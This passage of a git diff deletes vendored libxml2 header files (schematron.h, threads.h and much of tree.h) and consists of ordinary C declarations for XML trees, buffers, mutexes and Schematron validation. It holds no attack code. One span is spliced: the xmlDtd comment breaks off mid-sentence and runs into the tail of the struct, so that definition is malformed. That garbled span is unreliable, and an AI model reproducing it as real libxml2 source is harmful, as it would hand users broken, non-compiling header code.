idcDef; /* All identity-constraint defs. */ - void *volatiles; /* Obsolete */ -}; - -XMLPUBFUN void XMLCALL xmlSchemaFreeType (xmlSchemaTypePtr type); -XMLPUBFUN void XMLCALL xmlSchemaFreeWildcard(xmlSchemaWildcardPtr wildcard); - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_SCHEMAS_ENABLED */ -#endif /* __XML_SCHEMA_INTERNALS_H__ */ diff --git a/installer/libxml2/include/libxml/schematron.h b/installer/libxml2/include/libxml/schematron.h deleted file mode 100644 index 364eaec..0000000 --- a/installer/libxml2/include/libxml/schematron.h +++ /dev/null @@ -1,142 +0,0 @@ -/* - * Summary: XML Schemastron implementation - * Description: interface to the XML Schematron validity checking. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - - -#ifndef __XML_SCHEMATRON_H__ -#define __XML_SCHEMATRON_H__ - -#include - -#ifdef LIBXML_SCHEMATRON_ENABLED - -#include - -#ifdef __cplusplus -extern "C" { -#endif - -typedef enum { - XML_SCHEMATRON_OUT_QUIET = 1 << 0, /* quiet no report */ - XML_SCHEMATRON_OUT_TEXT = 1 << 1, /* build a textual report */ - XML_SCHEMATRON_OUT_XML = 1 << 2, /* output SVRL */ - XML_SCHEMATRON_OUT_ERROR = 1 << 3, /* output via xmlStructuredErrorFunc */ - XML_SCHEMATRON_OUT_FILE = 1 << 8, /* output to a file descriptor */ - XML_SCHEMATRON_OUT_BUFFER = 1 << 9, /* output to a buffer */ - XML_SCHEMATRON_OUT_IO = 1 << 10 /* output to I/O mechanism */ -} xmlSchematronValidOptions; - -/** - * The schemas related types are kept internal - */ -typedef struct _xmlSchematron xmlSchematron; -typedef xmlSchematron *xmlSchematronPtr; - -/** - * xmlSchematronValidityErrorFunc: - * @ctx: the validation context - * @msg: the message - * @...: extra arguments - * - * Signature of an error callback from a Schematron validation - */ -typedef void (*xmlSchematronValidityErrorFunc) (void *ctx, const char *msg, ...); - -/** - * xmlSchematronValidityWarningFunc: - * @ctx: the validation context - * @msg: the message - * @...: extra arguments - * - * Signature of a warning callback from a Schematron validation - */ -typedef void (*xmlSchematronValidityWarningFunc) (void *ctx, const char *msg, ...); - -/** - * A schemas validation context - */ -typedef struct _xmlSchematronParserCtxt xmlSchematronParserCtxt; -typedef xmlSchematronParserCtxt *xmlSchematronParserCtxtPtr; - -typedef struct _xmlSchematronValidCtxt xmlSchematronValidCtxt; -typedef xmlSchematronValidCtxt *xmlSchematronValidCtxtPtr; - -/* - * Interfaces for parsing. - */ -XMLPUBFUN xmlSchematronParserCtxtPtr XMLCALL - xmlSchematronNewParserCtxt (const char *URL); -XMLPUBFUN xmlSchematronParserCtxtPtr XMLCALL - xmlSchematronNewMemParserCtxt(const char *buffer, - int size); -XMLPUBFUN xmlSchematronParserCtxtPtr XMLCALL - xmlSchematronNewDocParserCtxt(xmlDocPtr doc); -XMLPUBFUN void XMLCALL - xmlSchematronFreeParserCtxt (xmlSchematronParserCtxtPtr ctxt); -/***** -XMLPUBFUN void XMLCALL - xmlSchematronSetParserErrors(xmlSchematronParserCtxtPtr ctxt, - xmlSchematronValidityErrorFunc err, - xmlSchematronValidityWarningFunc warn, - void *ctx); -XMLPUBFUN int XMLCALL - xmlSchematronGetParserErrors(xmlSchematronParserCtxtPtr ctxt, - xmlSchematronValidityErrorFunc * err, - xmlSchematronValidityWarningFunc * warn, - void **ctx); -XMLPUBFUN int XMLCALL - xmlSchematronIsValid (xmlSchematronValidCtxtPtr ctxt); - *****/ -XMLPUBFUN xmlSchematronPtr XMLCALL - xmlSchematronParse (xmlSchematronParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlSchematronFree (xmlSchematronPtr schema); -/* - * Interfaces for validating - */ -XMLPUBFUN void XMLCALL - xmlSchematronSetValidStructuredErrors( - xmlSchematronValidCtxtPtr ctxt, - xmlStructuredErrorFunc serror, - void *ctx); -/****** -XMLPUBFUN void XMLCALL - xmlSchematronSetValidErrors (xmlSchematronValidCtxtPtr ctxt, - xmlSchematronValidityErrorFunc err, - xmlSchematronValidityWarningFunc warn, - void *ctx); -XMLPUBFUN int XMLCALL - xmlSchematronGetValidErrors (xmlSchematronValidCtxtPtr ctxt, - xmlSchematronValidityErrorFunc *err, - xmlSchematronValidityWarningFunc *warn, - void **ctx); -XMLPUBFUN int XMLCALL - xmlSchematronSetValidOptions(xmlSchematronValidCtxtPtr ctxt, - int options); -XMLPUBFUN int XMLCALL - xmlSchematronValidCtxtGetOptions(xmlSchematronValidCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - xmlSchematronValidateOneElement (xmlSchematronValidCtxtPtr ctxt, - xmlNodePtr elem); - *******/ - -XMLPUBFUN xmlSchematronValidCtxtPtr XMLCALL - xmlSchematronNewValidCtxt (xmlSchematronPtr schema, - int options); -XMLPUBFUN void XMLCALL - xmlSchematronFreeValidCtxt (xmlSchematronValidCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - xmlSchematronValidateDoc (xmlSchematronValidCtxtPtr ctxt, - xmlDocPtr instance); - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_SCHEMATRON_ENABLED */ -#endif /* __XML_SCHEMATRON_H__ */ diff --git a/installer/libxml2/include/libxml/threads.h b/installer/libxml2/include/libxml/threads.h deleted file mode 100644 index d31f16a..0000000 --- a/installer/libxml2/include/libxml/threads.h +++ /dev/null @@ -1,84 +0,0 @@ -/** - * Summary: interfaces for thread handling - * Description: set of generic threading related routines - * should work with pthreads, Windows native or TLS threads - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_THREADS_H__ -#define __XML_THREADS_H__ - -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * xmlMutex are a simple mutual exception locks. - */ -typedef struct _xmlMutex xmlMutex; -typedef xmlMutex *xmlMutexPtr; - -/* - * xmlRMutex are reentrant mutual exception locks. - */ -typedef struct _xmlRMutex xmlRMutex; -typedef xmlRMutex *xmlRMutexPtr; - -#ifdef __cplusplus -} -#endif -#include -#ifdef __cplusplus -extern "C" { -#endif -XMLPUBFUN xmlMutexPtr XMLCALL - xmlNewMutex (void); -XMLPUBFUN void XMLCALL - xmlMutexLock (xmlMutexPtr tok); -XMLPUBFUN void XMLCALL - xmlMutexUnlock (xmlMutexPtr tok); -XMLPUBFUN void XMLCALL - xmlFreeMutex (xmlMutexPtr tok); - -XMLPUBFUN xmlRMutexPtr XMLCALL - xmlNewRMutex (void); -XMLPUBFUN void XMLCALL - xmlRMutexLock (xmlRMutexPtr tok); -XMLPUBFUN void XMLCALL - xmlRMutexUnlock (xmlRMutexPtr tok); -XMLPUBFUN void XMLCALL - xmlFreeRMutex (xmlRMutexPtr tok); - -/* - * Library wide APIs. - */ -XMLPUBFUN void XMLCALL - xmlInitThreads (void); -XMLPUBFUN void XMLCALL - xmlLockLibrary (void); -XMLPUBFUN void XMLCALL - xmlUnlockLibrary(void); -XMLPUBFUN int XMLCALL - xmlGetThreadId (void); -XMLPUBFUN int XMLCALL - xmlIsMainThread (void); -XMLPUBFUN void XMLCALL - xmlCleanupThreads(void); -XMLPUBFUN xmlGlobalStatePtr XMLCALL - xmlGetGlobalState(void); - -#if defined(HAVE_WIN32_THREADS) && !defined(HAVE_COMPILER_TLS) && defined(LIBXML_STATIC_FOR_DLL) -int XMLCALL xmlDllMain(void *hinstDLL, unsigned long fdwReason, void *lpvReserved); -#endif - -#ifdef __cplusplus -} -#endif - - -#endif /* __XML_THREADS_H__ */ diff --git a/installer/libxml2/include/libxml/tree.h b/installer/libxml2/include/libxml/tree.h deleted file mode 100644 index 4a9b3bc..0000000 --- a/installer/libxml2/include/libxml/tree.h +++ /dev/null @@ -1,1311 +0,0 @@ -/* - * Summary: interfaces for tree manipulation - * Description: this module describes the structures found in an tree resulting - * from an XML or HTML parsing, as well as the API provided for - * various processing on that tree - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_TREE_H__ -#define __XML_TREE_H__ - -#include -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * Some of the basic types pointer to structures: - */ -/* xmlIO.h */ -typedef struct _xmlParserInputBuffer xmlParserInputBuffer; -typedef xmlParserInputBuffer *xmlParserInputBufferPtr; - -typedef struct _xmlOutputBuffer xmlOutputBuffer; -typedef xmlOutputBuffer *xmlOutputBufferPtr; - -/* parser.h */ -typedef struct _xmlParserInput xmlParserInput; -typedef xmlParserInput *xmlParserInputPtr; - -typedef struct _xmlParserCtxt xmlParserCtxt; -typedef xmlParserCtxt *xmlParserCtxtPtr; - -typedef struct _xmlSAXLocator xmlSAXLocator; -typedef xmlSAXLocator *xmlSAXLocatorPtr; - -typedef struct _xmlSAXHandler xmlSAXHandler; -typedef xmlSAXHandler *xmlSAXHandlerPtr; - -/* entities.h */ -typedef struct _xmlEntity xmlEntity; -typedef xmlEntity *xmlEntityPtr; - -/** - * BASE_BUFFER_SIZE: - * - * default buffer size 4000. - */ -#define BASE_BUFFER_SIZE 4096 - -/** - * LIBXML_NAMESPACE_DICT: - * - * Defines experimental behaviour: - * 1) xmlNs gets an additional field @context (a xmlDoc) - * 2) when creating a tree, xmlNs->href is stored in the dict of xmlDoc. - */ -/* #define LIBXML_NAMESPACE_DICT */ - -/** - * xmlBufferAllocationScheme: - * - * A buffer allocation scheme can be defined to either match exactly the - * need or double it's allocated size each time it is found too small. - */ - -typedef enum { - XML_BUFFER_ALLOC_DOUBLEIT, /* double each time one need to grow */ - XML_BUFFER_ALLOC_EXACT, /* grow only to the minimal size */ - XML_BUFFER_ALLOC_IMMUTABLE, /* immutable buffer */ - XML_BUFFER_ALLOC_IO, /* special allocation scheme used for I/O */ - XML_BUFFER_ALLOC_HYBRID, /* exact up to a threshold, and doubleit thereafter */ - XML_BUFFER_ALLOC_BOUNDED /* limit the upper size of the buffer */ -} xmlBufferAllocationScheme; - -/** - * xmlBuffer: - * - * A buffer structure, this old construct is limited to 2GB and - * is being deprecated, use API with xmlBuf instead - */ -typedef struct _xmlBuffer xmlBuffer; -typedef xmlBuffer *xmlBufferPtr; -struct _xmlBuffer { - xmlChar *content; /* The buffer content UTF8 */ - unsigned int use; /* The buffer size used */ - unsigned int size; /* The buffer size */ - xmlBufferAllocationScheme alloc; /* The realloc method */ - xmlChar *contentIO; /* in IO mode we may have a different base */ -}; - -/** - * xmlBuf: - * - * A buffer structure, new one, the actual structure internals are not public - */ - -typedef struct _xmlBuf xmlBuf; - -/** - * xmlBufPtr: - * - * A pointer to a buffer structure, the actual structure internals are not - * public - */ - -typedef xmlBuf *xmlBufPtr; - -/* - * A few public routines for xmlBuf. As those are expected to be used - * mostly internally the bulk of the routines are internal in buf.h - */ -XMLPUBFUN xmlChar* XMLCALL xmlBufContent (const xmlBuf* buf); -XMLPUBFUN xmlChar* XMLCALL xmlBufEnd (xmlBufPtr buf); -XMLPUBFUN size_t XMLCALL xmlBufUse (const xmlBufPtr buf); -XMLPUBFUN size_t XMLCALL xmlBufShrink (xmlBufPtr buf, size_t len); - -/* - * LIBXML2_NEW_BUFFER: - * - * Macro used to express that the API use the new buffers for - * xmlParserInputBuffer and xmlOutputBuffer. The change was - * introduced in 2.9.0. - */ -#define LIBXML2_NEW_BUFFER - -/** - * XML_XML_NAMESPACE: - * - * This is the namespace for the special xml: prefix predefined in the - * XML Namespace specification. - */ -#define XML_XML_NAMESPACE \ - (const xmlChar *) "http://www.w3.org/XML/1998/namespace" - -/** - * XML_XML_ID: - * - * This is the name for the special xml:id attribute - */ -#define XML_XML_ID (const xmlChar *) "xml:id" - -/* - * The different element types carried by an XML tree. - * - * NOTE: This is synchronized with DOM Level1 values - * See http://www.w3.org/TR/REC-DOM-Level-1/ - * - * Actually this had diverged a bit, and now XML_DOCUMENT_TYPE_NODE should - * be deprecated to use an XML_DTD_NODE. - */ -typedef enum { - XML_ELEMENT_NODE= 1, - XML_ATTRIBUTE_NODE= 2, - XML_TEXT_NODE= 3, - XML_CDATA_SECTION_NODE= 4, - XML_ENTITY_REF_NODE= 5, - XML_ENTITY_NODE= 6, - XML_PI_NODE= 7, - XML_COMMENT_NODE= 8, - XML_DOCUMENT_NODE= 9, - XML_DOCUMENT_TYPE_NODE= 10, - XML_DOCUMENT_FRAG_NODE= 11, - XML_NOTATION_NODE= 12, - XML_HTML_DOCUMENT_NODE= 13, - XML_DTD_NODE= 14, - XML_ELEMENT_DECL= 15, - XML_ATTRIBUTE_DECL= 16, - XML_ENTITY_DECL= 17, - XML_NAMESPACE_DECL= 18, - XML_XINCLUDE_START= 19, - XML_XINCLUDE_END= 20 -#ifdef LIBXML_DOCB_ENABLED - ,XML_DOCB_DOCUMENT_NODE= 21 -#endif -} xmlElementType; - - -/** - * xmlNotation: - * - * A DTD Notation definition. - */ - -typedef struct _xmlNotation xmlNotation; -typedef xmlNotation *xmlNotationPtr; -struct _xmlNotation { - const xmlChar *name; /* Notation name */ - const xmlChar *PublicID; /* Public identifier, if any */ - const xmlChar *SystemID; /* System identifier, if any */ -}; - -/** - * xmlAttributeType: - * - * A DTD Attribute type definition. - */ - -typedef enum { - XML_ATTRIBUTE_CDATA = 1, - XML_ATTRIBUTE_ID, - XML_ATTRIBUTE_IDREF , - XML_ATTRIBUTE_IDREFS, - XML_ATTRIBUTE_ENTITY, - XML_ATTRIBUTE_ENTITIES, - XML_ATTRIBUTE_NMTOKEN, - XML_ATTRIBUTE_NMTOKENS, - XML_ATTRIBUTE_ENUMERATION, - XML_ATTRIBUTE_NOTATION -} xmlAttributeType; - -/** - * xmlAttributeDefault: - * - * A DTD Attribute default definition. - */ - -typedef enum { - XML_ATTRIBUTE_NONE = 1, - XML_ATTRIBUTE_REQUIRED, - XML_ATTRIBUTE_IMPLIED, - XML_ATTRIBUTE_FIXED -} xmlAttributeDefault; - -/** - * xmlEnumeration: - * - * List structure used when there is an enumeration in DTDs. - */ - -typedef struct _xmlEnumeration xmlEnumeration; -typedef xmlEnumeration *xmlEnumerationPtr; -struct _xmlEnumeration { - struct _xmlEnumeration *next; /* next one */ - const xmlChar *name; /* Enumeration name */ -}; - -/** - * xmlAttribute: - * - * An Attribute declaration in a DTD. - */ - -typedef struct _xmlAttribute xmlAttribute; -typedef xmlAttribute *xmlAttributePtr; -struct _xmlAttribute { - void *_private; /* application data */ - xmlElementType type; /* XML_ATTRIBUTE_DECL, must be second ! */ - const xmlChar *name; /* Attribute name */ - struct _xmlNode *children; /* NULL */ - struct _xmlNode *last; /* NULL */ - struct _xmlDtd *parent; /* -> DTD */ - struct _xmlNode *next; /* next sibling link */ - struct _xmlNode *prev; /* previous sibling link */ - struct _xmlDoc *doc; /* the containing document */ - - struct _xmlAttribute *nexth; /* next in hash table */ - xmlAttributeType atype; /* The attribute type */ - xmlAttributeDefault def; /* the default */ - const xmlChar *defaultValue; /* or the default value */ - xmlEnumerationPtr tree; /* or the enumeration tree if any */ - const xmlChar *prefix; /* the namespace prefix if any */ - const xmlChar *elem; /* Element holding the attribute */ -}; - -/** - * xmlElementContentType: - * - * Possible definitions of element content types. - */ -typedef enum { - XML_ELEMENT_CONTENT_PCDATA = 1, - XML_ELEMENT_CONTENT_ELEMENT, - XML_ELEMENT_CONTENT_SEQ, - XML_ELEMENT_CONTENT_OR -} xmlElementContentType; - -/** - * xmlElementContentOccur: - * - * Possible definitions of element content occurrences. - */ -typedef enum { - XML_ELEMENT_CONTENT_ONCE = 1, - XML_ELEMENT_CONTENT_OPT, - XML_ELEMENT_CONTENT_MULT, - XML_ELEMENT_CONTENT_PLUS -} xmlElementContentOccur; - -/** - * xmlElementContent: - * - * An XML Element content as stored after parsing an element definition - * in a DTD. - */ - -typedef struct _xmlElementContent xmlElementContent; -typedef xmlElementContent *xmlElementContentPtr; -struct _xmlElementContent { - xmlElementContentType type; /* PCDATA, ELEMENT, SEQ or OR */ - xmlElementContentOccur ocur; /* ONCE, OPT, MULT or PLUS */ - const xmlChar *name; /* Element name */ - struct _xmlElementContent *c1; /* first child */ - struct _xmlElementContent *c2; /* second child */ - struct _xmlElementContent *parent; /* parent */ - const xmlChar *prefix; /* Namespace prefix */ -}; - -/** - * xmlElementTypeVal: - * - * The different possibilities for an element content type. - */ - -typedef enum { - XML_ELEMENT_TYPE_UNDEFINED = 0, - XML_ELEMENT_TYPE_EMPTY = 1, - XML_ELEMENT_TYPE_ANY, - XML_ELEMENT_TYPE_MIXED, - XML_ELEMENT_TYPE_ELEMENT -} xmlElementTypeVal; - -#ifdef __cplusplus -} -#endif -#include -#ifdef __cplusplus -extern "C" { -#endif - -/** - * xmlElement: - * - * An XML Element declaration from a DTD. - */ - -typedef struct _xmlElement xmlElement; -typedef xmlElement *xmlElementPtr; -struct _xmlElement { - void *_private; /* application data */ - xmlElementType type; /* XML_ELEMENT_DECL, must be second ! */ - const xmlChar *name; /* Element name */ - struct _xmlNode *children; /* NULL */ - struct _xmlNode *last; /* NULL */ - struct _xmlDtd *parent; /* -> DTD */ - struct _xmlNode *next; /* next sibling link */ - struct _xmlNode *prev; /* previous sibling link */ - struct _xmlDoc *doc; /* the containing document */ - - xmlElementTypeVal etype; /* The type */ - xmlElementContentPtr content; /* the allowed element content */ - xmlAttributePtr attributes; /* List of the declared attributes */ - const xmlChar *prefix; /* the namespace prefix if any */ -#ifdef LIBXML_REGEXP_ENABLED - xmlRegexpPtr contModel; /* the validating regexp */ -#else - void *contModel; -#endif -}; - - -/** - * XML_LOCAL_NAMESPACE: - * - * A namespace declaration node. - */ -#define XML_LOCAL_NAMESPACE XML_NAMESPACE_DECL -typedef xmlElementType xmlNsType; - -/** - * xmlNs: - * - * An XML namespace. - * Note that prefix == NULL is valid, it defines the default namespace - * within the subtree (until overridden). - * - * xmlNsType is unified with xmlElementType. - */ - -typedef struct _xmlNs xmlNs; -typedef xmlNs *xmlNsPtr; -struct _xmlNs { - struct _xmlNs *next; /* next Ns link for this node */ - xmlNsType type; /* global or local */ - const xmlChar *href; /* URL for the namespace */ - const xmlChar *prefix; /* prefix for the namespace */ - void *_private; /* application data */ - struct _xmlDoc *context; /* normally an xmlDoc */ -}; - -/** - * xmlDtd: - * - * An XML DTD, as defined by parent link */ - struct _xmlNode *next; /* next sibling link */ - struct _xmlNode *prev; /* previous sibling link */ - struct _xmlDoc *doc; /* the containing document */ - - /* End of common part */ - void *notations; /* Hash table for notations if any */ - void *elements; /* Hash table for elements if any */ - void *attributes; /* Hash table for attributes if any */ - void *entities; /* Hash table for entities if any */ - const xmlChar *ExternalID; /* External identifier for PUBLIC DTD */ - const xmlChar *SystemID; /* URI for a SYSTEM or PUBLIC DTD */ - void *pentities; /* Hash table for param entities if any */ -}; - -/** - * xmlAttr: - * - * An attribute on an XML node. - */ -typedef struct _xmlAttr xmlAttr; -typedef xmlAttr *xmlAttrPtr; -struct _xmlAttr { - void *_private; /* application data */ - xmlElementType type; /* XML_ATTRIBUTE_NODE, must be second ! */ - const xmlChar *name; /* the name of the property */ - struct _xmlNode *children; /* the value of the property */ - struct _xmlNode *last; /* NULL */ - struct _xmlNode *parent; /* child->parent link */ - struct _xmlAttr *next; /* next sibling link */ - struct _xmlAttr *prev; /* previous sibling link */ - struct _xmlDoc *doc; /* the containing document */ - xmlNs *ns; /* pointer to the associated namespace */ - xmlAttributeType atype; /* the attribute type if validating */ - void *psvi; /* for type/PSVI informations */ -}; - -/** - * xmlID: - * - * An XML ID instance. - */ - -typedef struct _xmlID xmlID; -typedef xmlID *xmlIDPtr; -struct _xmlID { - struct _xmlID *next; /* next ID */ - const xmlChar *value; /* The ID name */ - xmlAttrPtr attr; /* The attribute holding it */ - const xmlChar *name; /* The attribute if attr is not available */ - int lineno; /* The line number if attr is not available */ - struct _xmlDoc *doc; /* The document holding the ID */ -}; - -/** - * xmlRef: - * - * An XML IDREF instance. - */ - -typedef struct _xmlRef xmlRef; -typedef xmlRef *xmlRefPtr; -struct _xmlRef { - struct _xmlRef *next; /* next Ref */ - const xmlChar *value; /* The Ref name */ - xmlAttrPtr attr; /* The attribute holding it */ - const xmlChar *name; /* The attribute if attr is not available */ - int lineno; /* The line number if attr is not available */ -}; - -/** - * xmlNode: - * - * A node in an XML tree. - */ -typedef struct _xmlNode xmlNode; -typedef xmlNode *xmlNodePtr; -struct _xmlNode { - void *_private; /* application data */ - xmlElementType type; /* type number, must be second ! */ - const xmlChar *name; /* the name of the node, or the entity */ - struct _xmlNode *children; /* parent->childs link */ - struct _xmlNode *last; /* last child link */ - struct _xmlNode *parent; /* child->parent link */ - struct _xmlNode *next; /* next sibling link */ - struct _xmlNode *prev; /* previous sibling link */ - struct _xmlDoc *doc; /* the containing document */ - - /* End of common part */ - xmlNs *ns; /* pointer to the associated namespace */ - xmlChar *content; /* the content */ - struct _xmlAttr *properties;/* properties list */ - xmlNs *nsDef; /* namespace definitions on this node */ - void *psvi; /* for type/PSVI informations */ - unsigned short line; /* line number */ - unsigned short extra; /* extra data for XPath/XSLT */ -}; - -/** - * XML_GET_CONTENT: - * - * Macro to extract the content pointer of a node. - */ -#define XML_GET_CONTENT(n) \ - ((n)->type == XML_ELEMENT_NODE ? NULL : (n)->content) - -/** - * XML_GET_LINE: - * - * Macro to extract the line number of an element node. - */ -#define XML_GET_LINE(n) \ - (xmlGetLineNo(n)) - -/** - * xmlDocProperty - * - * Set of properties of the document as found by the parser - * Some of them are linked to similary named xmlParserOption - */ -typedef enum { - XML_DOC_WELLFORMED = 1<<0, /* document is XML well formed */ - XML_DOC_NSVALID = 1<<1, /* document is Namespace valid */ - XML_DOC_OLD10 = 1<<2, /* parsed with old XML-1.0 parser */ - XML_DOC_DTDVALID = 1<<3, /* DTD validation was successful */ - XML_DOC_XINCLUDE = 1<<4, /* XInclude substitution was done */ - XML_DOC_USERBUILT = 1<<5, /* Document was built using the API - and not by parsing an instance */ - XML_DOC_INTERNAL = 1<<6, /* built for internal processing */ - XML_DOC_HTML = 1<<7 /* parsed or built HTML document */ -} xmlDocProperties; - -/** - * xmlDoc: - * - * An XML document. - */ -typedef struct _xmlDoc xmlDoc; -typedef xmlDoc *xmlDocPtr; -struct _xmlDoc { - void *_private; /* application data */ - xmlElementType type; /* XML_DOCUMENT_NODE, must be second ! */ - char *name; /* name/filename/URI of the document */ - struct _xmlNode *children; /* the document tree */ - struct _xmlNode *last; /* last child link */ - struct _xmlNode *parent; /* child->parent link */ - struct _xmlNode *next; /* next sibling link */ - struct _xmlNode *prev; /* previous sibling link */ - struct _xmlDoc *doc; /* autoreference to itself */ - - /* End of common part */ - int compression;/* level of zlib compression */ - int standalone; /* standalone document (no external refs) - 1 if standalone="yes" - 0 if standalone="no" - -1 if there is no XML declaration - -2 if there is an XML declaration, but no - standalone attribute was specified */ - struct _xmlDtd *intSubset; /* the document internal subset */ - struct _xmlDtd *extSubset; /* the document external subset */ - struct _xmlNs *oldNs; /* Global namespace, the old way */ - const xmlChar *version; /* the XML version string */ - const xmlChar *encoding; /* external initial encoding, if any */ - void *ids; /* Hash table for ID attributes if any */ - void *refs; /* Hash table for IDREFs attributes if any */ - const xmlChar *URL; /* The URI for that document */ - int charset; /* encoding of the in-memory content - actually an xmlCharEncoding */ - struct _xmlDict *dict; /* dict used to allocate names or NULL */ - void *psvi; /* for type/PSVI informations */ - int parseFlags; /* set of xmlParserOption used to parse the - document */ - int properties; /* set of xmlDocProperties for this document - set at the end of parsing */ -}; - - -typedef struct _xmlDOMWrapCtxt xmlDOMWrapCtxt; -typedef xmlDOMWrapCtxt *xmlDOMWrapCtxtPtr; - -/** - * xmlDOMWrapAcquireNsFunction: - * @ctxt: a DOM wrapper context - * @node: the context node (element or attribute) - * @nsName: the requested namespace name - * @nsPrefix: the requested namespace prefix - * - * A function called to acquire namespaces (xmlNs) from the wrapper. - * - * Returns an xmlNsPtr or NULL in case of an error. - */ -typedef xmlNsPtr (*xmlDOMWrapAcquireNsFunction) (xmlDOMWrapCtxtPtr ctxt, - xmlNodePtr node, - const xmlChar *nsName, - const xmlChar *nsPrefix); - -/** - * xmlDOMWrapCtxt: - * - * Context for DOM wrapper-operations. - */ -struct _xmlDOMWrapCtxt { - void * _private; - /* - * The type of this context, just in case we need specialized - * contexts in the future. - */ - int type; - /* - * Internal namespace map used for various operations. - */ - void * namespaceMap; - /* - * Use this one to acquire an xmlNsPtr intended for node->ns. - * (Note that this is not intended for elem->nsDef). - */ - xmlDOMWrapAcquireNsFunction getNsForNodeFunc; -}; - -/** - * xmlChildrenNode: - * - * Macro for compatibility naming layer with libxml1. Maps - * to "children." - */ -#ifndef xmlChildrenNode -#define xmlChildrenNode children -#endif - -/** - * xmlRootNode: - * - * Macro for compatibility naming layer with libxml1. Maps - * to "children". - */ -#ifndef xmlRootNode -#define xmlRootNode children -#endif - -/* - * Variables. - */ - -/* - * Some helper functions - */ -#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_XPATH_ENABLED) || \ - defined(LIBXML_SCHEMAS_ENABLED) || defined(LIBXML_DEBUG_ENABLED) || \ - defined (LIBXML_HTML_ENABLED) || defined(LIBXML_SAX1_ENABLED) || \ - defined(LIBXML_HTML_ENABLED) || defined(LIBXML_WRITER_ENABLED) || \ - defined(LIBXML_DOCB_ENABLED) || defined(LIBXML_LEGACY_ENABLED) -XMLPUBFUN int XMLCALL - xmlValidateNCName (const xmlChar *value, - int space); -#endif - -#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_SCHEMAS_ENABLED) -XMLPUBFUN int XMLCALL - xmlValidateQName (const xmlChar *value, - int space); -XMLPUBFUN int XMLCALL - xmlValidateName (const xmlChar *value, - int space); -XMLPUBFUN int XMLCALL - xmlValidateNMToken (const xmlChar *value, - int space); -#endif - -XMLPUBFUN xmlChar * XMLCALL - xmlBuildQName (const xmlChar *ncname, - const xmlChar *prefix, - xmlChar *memory, - int len); -XMLPUBFUN xmlChar * XMLCALL - xmlSplitQName2 (const xmlChar *name, - xmlChar **prefix); -XMLPUBFUN const xmlChar * XMLCALL - xmlSplitQName3 (const xmlChar *name, - int *len); - -/* - * Handling Buffers, the old ones see @xmlBuf for the new ones. - */ - -XMLPUBFUN void XMLCALL - xmlSetBufferAllocationScheme(xmlBufferAllocationScheme scheme); -XMLPUBFUN xmlBufferAllocationScheme XMLCALL - xmlGetBufferAllocationScheme(void); - -XMLPUBFUN xmlBufferPtr XMLCALL - xmlBufferCreate (void); -XMLPUBFUN xmlBufferPtr XMLCALL - xmlBufferCreateSize (size_t size); -XMLPUBFUN xmlBufferPtr XMLCALL - xmlBufferCreateStatic (void *mem, - size_t size); -XMLPUBFUN int XMLCALL - xmlBufferResize (xmlBufferPtr buf, - unsigned int size); -XMLPUBFUN void XMLCALL - xmlBufferFree (xmlBufferPtr buf); -XMLPUBFUN int XMLCALL - xmlBufferDump (FILE *file, - xmlBufferPtr buf); -XMLPUBFUN int XMLCALL - xmlBufferAdd (xmlBufferPtr buf, - const xmlChar *str, - int len); -XMLPUBFUN int XMLCALL - xmlBufferAddHead (xmlBufferPtr buf, - const xmlChar *str, - int len); -XMLPUBFUN int XMLCALL - xmlBufferCat (xmlBufferPtr buf, - const xmlChar *str); -XMLPUBFUN int XMLCALL - xmlBufferCCat (xmlBufferPtr buf, - const char *str); -XMLPUBFUN int XMLCALL - xmlBufferShrink (xmlBufferPtr buf, - unsigned int len); -XMLPUBFUN int XMLCALL - xmlBufferGrow (xmlBufferPtr buf, - unsigned int len); -XMLPUBFUN void XMLCALL - xmlBufferEmpty (xmlBufferPtr buf); -XMLPUBFUN const xmlChar* XMLCALL - xmlBufferContent (const xmlBuffer *buf); -XMLPUBFUN xmlChar* XMLCALL - xmlBufferDetach (xmlBufferPtr buf); -XMLPUBFUN void XMLCALL - xmlBufferSetAllocationScheme(xmlBufferPtr buf, - xmlBufferAllocationScheme scheme); -XMLPUBFUN int XMLCALL - xmlBufferLength (const xmlBuffer *buf); - -/* - * Creating/freeing new structures. - */ -XMLPUBFUN xmlDtdPtr XMLCALL - xmlCreateIntSubset (xmlDocPtr doc, - const xmlChar *name, - const xmlChar *ExternalID, - const xmlChar *SystemID); -XMLPUBFUN xmlDtdPtr XMLCALL - xmlNewDtd (xmlDocPtr doc, - const xmlChar *name, - const xmlChar *ExternalID, - const xmlChar *SystemID); -XMLPUBFUN xmlDtdPtr XMLCALL - xmlGetIntSubset (const xmlDoc *doc); -XMLPUBFUN void XMLCALL - xmlFreeDtd (xmlDtdPtr cur); -#ifdef LIBXML_LEGACY_ENABLED -XMLPUBFUN xmlNsPtr XMLCALL - xmlNewGlobalNs (xmlDocPtr doc, - const xmlChar *href, - const xmlChar *prefix); -#endif /* LIBXML_LEGACY_ENABLED */ -XMLPUBFUN xmlNsPtr XMLCALL - xmlNewNs (xmlNodePtr node, - const xmlChar *href, - const xmlChar *prefix); -XMLPUBFUN void XMLCALL - xmlFreeNs (xmlNsPtr cur); -XMLPUBFUN void XMLCALL - xmlFreeNsList (xmlNsPtr cur); -XMLPUBFUN xmlDocPtr XMLCALL - xmlNewDoc (const xmlChar *version); -XMLPUBFUN void XMLCALL - xmlFreeDoc (xmlDocPtr cur); -XMLPUBFUN xmlAttrPtr XMLCALL - xmlNewDocProp (xmlDocPtr doc, - const xmlChar *name, - const xmlChar *value); -#if defined(LIBXML_TREE_ENABLED) || defined(LIBXML_HTML_ENABLED) || \ - defined(LIBXML_SCHEMAS_ENABLED) -XMLPUBFUN xmlAttrPtr XMLCALL - xmlNewProp (xmlNodePtr node, - const xmlChar *name, - const xmlChar *value); -#endif -XMLPUBFUN xmlAttrPtr XMLCALL - xmlNewNsProp (xmlNodePtr node, - xmlNsPtr ns, - const xmlChar *name, - const xmlChar *value); -XMLPUBFUN xmlAttrPtr XMLCALL - 